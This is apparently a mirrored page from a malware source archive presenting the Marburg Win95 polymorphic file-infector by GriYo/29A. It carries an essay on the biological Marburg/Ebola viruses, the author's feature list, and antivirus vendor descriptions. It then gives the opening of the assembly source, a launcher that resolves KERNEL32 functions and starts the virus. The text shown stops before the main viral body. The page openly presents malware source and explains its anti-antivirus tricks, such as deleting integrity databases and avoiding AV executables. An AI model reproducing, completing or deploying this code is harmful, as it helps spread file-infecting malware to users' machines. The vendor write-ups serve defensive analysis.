mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
3985 lines
125 KiB
NASM
3985 lines
125 KiB
NASM
|
|
|||
|
|
Marburg virus - BioCoded by GriYo / 29A
|
|||
|
|
---------------------------------------
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Index:
|
|||
|
|
------
|
|||
|
|
|
|||
|
|
1 - About the biological version
|
|||
|
|
2 - Author's description
|
|||
|
|
3 - Description from Datafellows
|
|||
|
|
4 - Description from AVP
|
|||
|
|
5 - Description from DrSolomon
|
|||
|
|
6 - Marburg source code
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
1 - About the biological version
|
|||
|
|
--------------------------------
|
|||
|
|
|
|||
|
|
1967: Marburg/Frankfurt, Germany.
|
|||
|
|
|
|||
|
|
Laboratory workers preparing primary cell cultures from African
|
|||
|
|
green monkeys resulted in an outbreak of a previously unrecognised disease.
|
|||
|
|
Highly infectious: 31 cases, 7 deaths.
|
|||
|
|
|
|||
|
|
1976:
|
|||
|
|
|
|||
|
|
Outbreak of a previously unrecognised haemorrhagic fever in Zaire
|
|||
|
|
and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths.
|
|||
|
|
|
|||
|
|
Ebola virus, a member of the Filoviridae, burst from obscurity with
|
|||
|
|
spectacular outbreaks of severe, haemorrhagic fever. It was first
|
|||
|
|
associated with an outbreak of 318 cases and a case-fatality rate of 90%
|
|||
|
|
in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller outbreaks
|
|||
|
|
continue to appear periodically, particularly in East, Central and southern
|
|||
|
|
Africa. In 1989, a haemorrhagic disease was recognized among cynomolgus
|
|||
|
|
macaques imported into the United States from the Philippines. Strains of
|
|||
|
|
Ebola virus were isolated from these monkeys. Serologic studies in the
|
|||
|
|
Philippines and elsewhere in Southeast Asia indicated that Ebola virus is a
|
|||
|
|
prevalent cause of infection among macaques.
|
|||
|
|
|
|||
|
|
These threadlike polymorphic viruses are highly variable in length
|
|||
|
|
apparently owing to concatemerization. However, the average length of an
|
|||
|
|
infectious virion appears to be 920 nm. The virions are 80 nm in diameter
|
|||
|
|
with a helical nucleocapsid, a membrane made of 10 nm projections, and
|
|||
|
|
host cell membrane. They contain a unique single-stranded molecule of
|
|||
|
|
noninfectious (negative sense) RNA. The virus is composed of 7
|
|||
|
|
polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other
|
|||
|
|
undesignated proteins. Proteins are produced from polyadenylated
|
|||
|
|
monocistronic mRNA species transcribed from virus RNA. The replication in
|
|||
|
|
and destruction of the host cell is rapid and produces a large number of
|
|||
|
|
viruses budding from the cell membrane.
|
|||
|
|
|
|||
|
|
Epidemics have resulted from person to person transmission, nosocomial
|
|||
|
|
spread or laboratory infections. The mode of primary infection and the
|
|||
|
|
natural ecology of these viruses are unknown. Association with bats has
|
|||
|
|
been implicated directly in at least 2 episodes when individuals entered
|
|||
|
|
the same bat-filled cave in Eastern Kenya. Ebola infections in Sudan in
|
|||
|
|
1976 and 1979 occurred in workers of a cotton factory containing thousands
|
|||
|
|
of bats in the roof. However, in all instances, study of antibody in bats
|
|||
|
|
failed to detect evidence of infection, and no virus was isolated from bat
|
|||
|
|
tissue.
|
|||
|
|
|
|||
|
|
The index case in 1976 was never identified, but this large outbreak
|
|||
|
|
resulted in 280 deaths of 318 infections. The outbreak was primarily the
|
|||
|
|
result of person to person spread and transmission by contaminated needles
|
|||
|
|
in outpatient and inpatient departments of a hospital and subsequent
|
|||
|
|
person to person spread in surrounding villages. In serosurveys in Zaire,
|
|||
|
|
antibody prevalence to Ebola virus has been 3 to 7%. The incubation period
|
|||
|
|
for needle-transmitted Ebola virus is 5 to 7 days and that for person to
|
|||
|
|
person transmitted disease is 6 to 12 days.
|
|||
|
|
|
|||
|
|
The virus spreads through the blood and is replicated in many organs.
|
|||
|
|
The histopathologic change is focal necrosis in these organs, including
|
|||
|
|
the liver, lymphatic organs, kidneys, ovaries and testes. The central
|
|||
|
|
lesions appear to be those affecting the vascular endothelium and
|
|||
|
|
the platelets. The resulting manifestations are bleeding, especially in
|
|||
|
|
the mucosa, abdomen, pericardium and vagina. Capillary leakage appears to
|
|||
|
|
lead to loss of intravascular volume, bleeding, shock and the acute
|
|||
|
|
respiratory disorder seen in fatal cases. Patients die of intractable shock.
|
|||
|
|
Those with severe illness often have sustained high fevers and are
|
|||
|
|
delirious, combative and difficult to control.
|
|||
|
|
|
|||
|
|
The serologic method used in the discovery of Ebola was the direct
|
|||
|
|
immunofluorescent assay. The test is performed on a monolayer of infected
|
|||
|
|
and uninfected cells fixed on a microscopic slide. IgG- or IgM-specific
|
|||
|
|
immunoglobulin assays are performed. These tests may then be confirmed
|
|||
|
|
by using western blot or radioimmunoprecipitation. Virus isolation is also
|
|||
|
|
a highly useful diagnostic method, and is performed on suitably preserved
|
|||
|
|
serum, blood or tissue specimens stored at -70oC or freshly collected.
|
|||
|
|
|
|||
|
|
No specific antiviral therapy presently exists against Ebola virus, nor does
|
|||
|
|
interferon have any effect. Past recommendations for isolation of the
|
|||
|
|
patient in a plastic isolator have given way to the more moderate
|
|||
|
|
recommendation of strict barrier isolation with body fluid precautions.
|
|||
|
|
This presents no excess risk to the hospital personnel and allows
|
|||
|
|
substantially better patient care, as shown in Table 2. The major factor in
|
|||
|
|
nosocomial transmission is the combination of the unawareness of the
|
|||
|
|
possibility of the disease by a worker who is also inattentive to the
|
|||
|
|
requirements of effective barrier nursing. after diagnosis, the risk of
|
|||
|
|
nosocomial transmission is small.
|
|||
|
|
|
|||
|
|
The basic method of prevention and control is the interruption of person to
|
|||
|
|
person spread of the virus. However, in rural areas, this may be difficult
|
|||
|
|
because families are often reluctant to admit members to the hospital
|
|||
|
|
because of limited resources and the culturally unacceptable separation
|
|||
|
|
of sick or dying patients from the care of their family. Experience
|
|||
|
|
with human disease and primate infection suggests that a vaccine inducing a
|
|||
|
|
strong cell-mediated response will be necessary for virus clearance and
|
|||
|
|
adequate protection. Neutralizing antibodies are not observed in
|
|||
|
|
convalescent patients nor do they occur in primates inoculated with killed
|
|||
|
|
vaccine. A vaccine expressing the glycoprotein in vaccinia is being
|
|||
|
|
prepared for laboratory evaluation.
|
|||
|
|
|
|||
|
|
Emerging & Re-emerging Viruses: An Essay
|
|||
|
|
Alison Jacobson
|
|||
|
|
Department of Microbiology
|
|||
|
|
University of Cape Town
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
2 - Author's description
|
|||
|
|
------------------------
|
|||
|
|
|
|||
|
|
Marburg is a direct action Win32 executable files infector. Lets
|
|||
|
|
look at its features in more detail...
|
|||
|
|
|
|||
|
|
2.1. Infection
|
|||
|
|
|
|||
|
|
When an infected file is run the virus will look for *.EXE and *.SCR
|
|||
|
|
files in current directory, as well as WINDOWS and WINDOWS system
|
|||
|
|
directories. Marburg use size padding to mark infected files. Depending on
|
|||
|
|
the internal format of each file the virus sometimes infects them without
|
|||
|
|
modifying the entry-point field in the file header. In some files Marburg
|
|||
|
|
overwrites the code at its host entry-point with a block or polymorphic
|
|||
|
|
code. This code is used to hide the branch to viral code. Marburg infects
|
|||
|
|
files by mapping them in memory. This allows the virus to speed up its
|
|||
|
|
infection procedures.
|
|||
|
|
|
|||
|
|
2.2. Polymorphism
|
|||
|
|
|
|||
|
|
The virus is encrypted under a polymorphic decryptor. The
|
|||
|
|
polymorphic engine uses slow mutation technics and can generate lots of
|
|||
|
|
different looking code.
|
|||
|
|
|
|||
|
|
2.3. Retro
|
|||
|
|
|
|||
|
|
Some intergrity checksum files deleted on infection.
|
|||
|
|
|
|||
|
|
2.4. Error-handling
|
|||
|
|
|
|||
|
|
The virus startup and infection routines uses estructured exception
|
|||
|
|
handling to prevent the virus from causing FAULTS at any time. This makes
|
|||
|
|
Marburg a very stable virus.
|
|||
|
|
|
|||
|
|
2.5. Payload
|
|||
|
|
|
|||
|
|
A nice graphic payload inside... I think this is a must for viruses
|
|||
|
|
that works under GUI.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
3 - Description from Datafellows
|
|||
|
|
--------------------------------
|
|||
|
|
|
|||
|
|
NAME: Marburg
|
|||
|
|
TYPE: Non-resident EXE -files
|
|||
|
|
|
|||
|
|
The Win95/Marburg virus got widespread circulation in August 1998,
|
|||
|
|
when it was included on the master CD of the popular MGM/EA PC CD-ROM game
|
|||
|
|
"Wargames". The CD contains one file infected by the Marburg virus:
|
|||
|
|
|
|||
|
|
\EREG\EREG32.EXE
|
|||
|
|
|
|||
|
|
MGM - the publisher of the game - made an announcment on this on
|
|||
|
|
12th of August, 1998:
|
|||
|
|
|
|||
|
|
|
|||
|
|
--------
|
|||
|
|
From: "K.Egan (MGM)" kegan@mgm.com
|
|||
|
|
Subject: MGM WarGames Statement
|
|||
|
|
Date: Wed, 12 Aug 1998 18:03:39 -0700
|
|||
|
|
|
|||
|
|
MGM Interactive recently learned that its WarGames PC game shipped
|
|||
|
|
with the Win32/Marburg.a virus contained in the electronic
|
|||
|
|
registration program. The company is working as fast as it can to
|
|||
|
|
resolve the problem.
|
|||
|
|
...
|
|||
|
|
MGM Interactive is committed to delivering top quality products to
|
|||
|
|
consumers. This is an unfortunate circumstance and we sincerely
|
|||
|
|
apologize for any convenience this has caused you.
|
|||
|
|
...
|
|||
|
|
If you have any questions or if you would like to receive a
|
|||
|
|
replacement disc, please contact MGM Interactive.
|
|||
|
|
--------
|
|||
|
|
|
|||
|
|
|
|||
|
|
The same virus also got widespread circulation in August 1998, when it was
|
|||
|
|
included on the cover CD of the Australian "PC Power Play" magazine. This CD
|
|||
|
|
contains these files infected by the Marburg virus:
|
|||
|
|
|
|||
|
|
\GAMES\MAX2\MAX2BETA.EXE
|
|||
|
|
\GAMES\STARTREK\FURYDEMO.EXE
|
|||
|
|
|
|||
|
|
In July 1998, the Win95/Marburg virus got yet again widespread circulation
|
|||
|
|
when it was included by accident on the cover CD of the UK-based PC Gamer
|
|||
|
|
Magazine's July 1998 edition. The infected files are on "CD Gamer 2"
|
|||
|
|
included with the magazine, and are called:
|
|||
|
|
|
|||
|
|
\UTILS\XEARTH\XEARTH.EXE
|
|||
|
|
\UTILS\QPAINT\QPAINT.EXE
|
|||
|
|
\VIDEO\SMACKPLW.EXE
|
|||
|
|
|
|||
|
|
The SMACKPLW program is automatically executed if you watch any of the
|
|||
|
|
preview videos from the CD. There are localized versions of the PC Gamer
|
|||
|
|
magazine in circulation in addition to the UK edition.
|
|||
|
|
|
|||
|
|
The Swedish edition has these files infected instead of the ones listed
|
|||
|
|
above:
|
|||
|
|
|
|||
|
|
\SHARE\3DJONG\M3DJONGG.EXE
|
|||
|
|
\PATCHAR\QUAKE2\Q2-315~8.EXE
|
|||
|
|
\SPEL\KKND2\DIRECTX\DDHELP.EXE
|
|||
|
|
|
|||
|
|
The Slovenian edition has the same infected files as the UK edition. The
|
|||
|
|
Italian July/August edition is clean.
|
|||
|
|
|
|||
|
|
Marburg is a polymorphic Windows 95/98 virus which contains this text:
|
|||
|
|
|
|||
|
|
[ Marburg ViRuS BioCoded by GriYo/29A ]
|
|||
|
|
|
|||
|
|
Marburg infects Win32 EXE and SCR (screen saver) files, encrypting its own
|
|||
|
|
code with variable polymorphic encryption layer. The polymorphic engine of
|
|||
|
|
the virus is advanced. It encrypts the virus with 8, 16 and 32 bit key with
|
|||
|
|
several different methods. The virus uses slow polymorphisism, which means
|
|||
|
|
that it changes the decryptor of itself very slowly.
|
|||
|
|
|
|||
|
|
Marburg deletes integrity databases of several anti-virus products. It also
|
|||
|
|
avoids infecting many known anti-virus product executable files, including
|
|||
|
|
any executable which has the letter "V" in its name. This is done to avoid
|
|||
|
|
triggering the self-check of these programs.
|
|||
|
|
|
|||
|
|
Marburg activates three months after initial infection. If an infected
|
|||
|
|
application is executed exactly on the same hour as the inital infection,
|
|||
|
|
the virus displays the standard Windows error icon (red cross in white
|
|||
|
|
circle) in random positions all over the screen.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
4 - Description from AVP
|
|||
|
|
------------------------
|
|||
|
|
|
|||
|
|
This is a direct action (nonmemory resident) Windows95 polymorphic
|
|||
|
|
virus. It affects PE EXE (Portable Executable) files which it searches in
|
|||
|
|
current, Windows and System directories. Because of bugs the virus is not
|
|||
|
|
able to replicate under Windows NT, so it is Windows95 specific virus.
|
|||
|
|
|
|||
|
|
When an infected file is executed, the virus searches for KERNEL32 routines:
|
|||
|
|
first for GetModuleHandleA and GetProcAddress, then for 22 more functions
|
|||
|
|
(see the list below). While searching the virus uses method similar to
|
|||
|
|
"Win32.Cabanas" virus: while infecting a file the virus scans file's
|
|||
|
|
imported table for GetModuleHandleA and GetProcAddress, and saves these
|
|||
|
|
addresses in virus code. If there are no these entries in table, the virus
|
|||
|
|
scans KERNEL32 code.
|
|||
|
|
|
|||
|
|
If the virus is not able to locate KERNEL32 functions, it immediately
|
|||
|
|
returns to the host file. Otherwise it allocates a block of system memory,
|
|||
|
|
copies its code to there (that's necessary to run virus polymorphic engine),
|
|||
|
|
then searches for files and infects them.
|
|||
|
|
|
|||
|
|
While infecting a file the virus writes its code to the end of file into the
|
|||
|
|
last section, increasing its length beforehand. Before saving its code to
|
|||
|
|
the file the virus encrypts it by polymorphic routine (the polymorphic
|
|||
|
|
engine is very similar with one that was found in "Win95.HPS" virus).
|
|||
|
|
Depending on file structure the virus also does some tricks to make virus
|
|||
|
|
detection and disinfection procedures more complex: either replaces entry
|
|||
|
|
point address in the PE header with its own one (majority of Win32 viruses
|
|||
|
|
infect files in this way), or saves JMP_Virus instruction to the file entry
|
|||
|
|
address and does not modifies it in the PE header (in same way as
|
|||
|
|
"Win32.Cabanas" virus does), or writes to the entry point a polymorphic
|
|||
|
|
junk routine that is followed by JMP_Virus instruction.
|
|||
|
|
|
|||
|
|
Before infecting the virus deletes anti-virus data files: ANTI-VIR.DAT,
|
|||
|
|
CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names
|
|||
|
|
and does not infect files that have 'V' letter in name as well as
|
|||
|
|
anti-viruses PANDA, F-PROT, SCAN.
|
|||
|
|
|
|||
|
|
Depending on the system date (when infected file is executed in three month
|
|||
|
|
during the same hour as being infected) the virus displays at random
|
|||
|
|
selected positions on the screen the standard Windows error icon - red cross
|
|||
|
|
in white circle.
|
|||
|
|
|
|||
|
|
The virus contains the text strings (the first block contains the list of
|
|||
|
|
functions that virus is looking for):
|
|||
|
|
|
|||
|
|
GetModuleHandleA
|
|||
|
|
GetProcAddress
|
|||
|
|
CreateFileA
|
|||
|
|
CreateFileMappingA
|
|||
|
|
MapViewOfFile
|
|||
|
|
UnmapViewOfFile
|
|||
|
|
CloseHandle
|
|||
|
|
FindFirstFileA
|
|||
|
|
FindNextFileA
|
|||
|
|
FindClose
|
|||
|
|
VirtualAlloc
|
|||
|
|
GetWindowsDirectoryA
|
|||
|
|
GetSystemDirectoryA
|
|||
|
|
GetCurrentDirectoryA
|
|||
|
|
SetFileAttributesA
|
|||
|
|
SetFileTime
|
|||
|
|
DeleteFileA
|
|||
|
|
GetCurrentProcess
|
|||
|
|
WriteProcessMemory
|
|||
|
|
LoadLibraryA
|
|||
|
|
GetSystemTime
|
|||
|
|
GetDC
|
|||
|
|
LoadIconA
|
|||
|
|
DrawIcon
|
|||
|
|
|
|||
|
|
[ Marburg ViRuS BioCoded by GriYo/29A ]
|
|||
|
|
KERNEL32.dll USER32.dll
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
5 - Description from DrSolomon
|
|||
|
|
------------------------------
|
|||
|
|
|
|||
|
|
Win32/Marburg
|
|||
|
|
Polymorphic virus
|
|||
|
|
Infects: Windows-95 executable files
|
|||
|
|
(PE files - "Portable Executable")
|
|||
|
|
|
|||
|
|
This highly polymorphic virus infects Windows-95 executable files
|
|||
|
|
(PE files - "Portable Executable"). When the infected file is run it
|
|||
|
|
searches for executable files to infect in the current directory, the
|
|||
|
|
Windows directory and the System directory. The virus does not go
|
|||
|
|
memory-resident - instead it is a direct action virus. The infected files
|
|||
|
|
always grow in size.
|
|||
|
|
|
|||
|
|
The sizes of infected files are changed by the the virus to be divisible by
|
|||
|
|
101 (decimal). It does this to avoid infecting the same file twice.
|
|||
|
|
|
|||
|
|
If the virus comes across integrity-checking databases (ANTI-VIR.DAT,
|
|||
|
|
CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectories it
|
|||
|
|
deletes them. This is an attempt to avoid detection by certain anti-virus
|
|||
|
|
products.
|
|||
|
|
|
|||
|
|
The virus does not infect any files having letter "V" in the name,
|
|||
|
|
"PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting certain
|
|||
|
|
anti-virus programs).
|
|||
|
|
|
|||
|
|
The payload of the virus triggers at a random date and displays an error
|
|||
|
|
icon (a red cross on white circle) on the screen.
|
|||
|
|
|
|||
|
|
Marburg has been seen in the wild, and was accidentally distributed on the
|
|||
|
|
cover CD ROM of UK magazine PC Gamer in July 1998. The virus was written by
|
|||
|
|
Griyo of the Spanish virus-writing gang 29A.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
6 - Marburg source code
|
|||
|
|
-----------------------
|
|||
|
|
|
|||
|
|
After some time lost into Win32 internals im happy to present my
|
|||
|
|
first attempt at this plattaform. This is a Win95 highly polymorphic direct-
|
|||
|
|
action PE infector.
|
|||
|
|
|
|||
|
|
Greetings to all the people at IRC-Hispano #virus and #hack irc channels.
|
|||
|
|
Special greetings goes this time to Jacky Qwerty, this virus wouldnt be
|
|||
|
|
posible without his support.
|
|||
|
|
|
|||
|
|
-------->8 cut here ---------------------------------------------------------
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;
|
|||
|
|
; Marburg ViRuS - BioCoded by GriYo / 29A
|
|||
|
|
;
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
.386P
|
|||
|
|
locals
|
|||
|
|
jumps
|
|||
|
|
.model flat,STDCALL
|
|||
|
|
|
|||
|
|
;Include the following files
|
|||
|
|
|
|||
|
|
include Win32api.inc
|
|||
|
|
include Useful.inc
|
|||
|
|
include Mz.inc
|
|||
|
|
include Pe.inc
|
|||
|
|
|
|||
|
|
;Some externals only used on 1st generation
|
|||
|
|
|
|||
|
|
extrn GetModuleHandleA:NEAR
|
|||
|
|
extrn GetProcAddress:NEAR
|
|||
|
|
extrn ExitProcess:NEAR
|
|||
|
|
|
|||
|
|
;Some assumptions only valid for 1st generation
|
|||
|
|
|
|||
|
|
mem_size equ mem_end-Mem_Base ;Size of virus in memory
|
|||
|
|
inf_size equ inf_end-Mem_Base ;Size of virus in files
|
|||
|
|
init_size equ init_end-Mem_Base ;Size of init code
|
|||
|
|
base_default equ 00400000h ;Default base address
|
|||
|
|
|
|||
|
|
;Current in-build settings
|
|||
|
|
|
|||
|
|
SIZE_PADDING equ 00000065h
|
|||
|
|
DECRYPTOR_SIZE equ 00000800h
|
|||
|
|
BUFFER_EP equ 00000100h
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Fake host used for virus 1st generation
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
_TEXT segment dword use32 public 'CODE'
|
|||
|
|
|
|||
|
|
host_entry: ;This code will find the base address of KERNEL32.DLL and
|
|||
|
|
;the entry point for GetProcAddress and GetModuleHandle
|
|||
|
|
;functions
|
|||
|
|
;This part will not be included on future infections
|
|||
|
|
;coz its only needed for virus 1st generation
|
|||
|
|
|
|||
|
|
;Get KERNEL32 module handle
|
|||
|
|
|
|||
|
|
push offset szKernel32
|
|||
|
|
call GetModuleHandleA
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit1st_gen
|
|||
|
|
mov dword ptr [a_Kernel32],eax
|
|||
|
|
|
|||
|
|
;Get address of GetModuleHandle function
|
|||
|
|
|
|||
|
|
push offset szGetModuleH
|
|||
|
|
push eax
|
|||
|
|
call GetProcAddress
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit1st_gen
|
|||
|
|
mov dword ptr [a_GetModuleH],eax
|
|||
|
|
|
|||
|
|
;Get address of GetProcAddress function
|
|||
|
|
|
|||
|
|
push offset szGetProcAddr
|
|||
|
|
push dword ptr [a_Kernel32]
|
|||
|
|
call GetProcAddress
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit1st_gen
|
|||
|
|
mov dword ptr [a_GetProcAddr],eax
|
|||
|
|
|
|||
|
|
;Execute virus
|
|||
|
|
|
|||
|
|
mov ebx,base_default
|
|||
|
|
xor ebp,ebp
|
|||
|
|
call entry1st_gen
|
|||
|
|
|
|||
|
|
exit1st_gen: ;Terminate virus launch process
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push eax
|
|||
|
|
call ExitProcess
|
|||
|
|
|
|||
|
|
_TEXT ends
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
_DATA segment dword use32 public 'DATA'
|
|||
|
|
_DATA ends
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
_BSS segment dword use32 public 'BSS'
|
|||
|
|
_BSS ends
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Virus main body
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
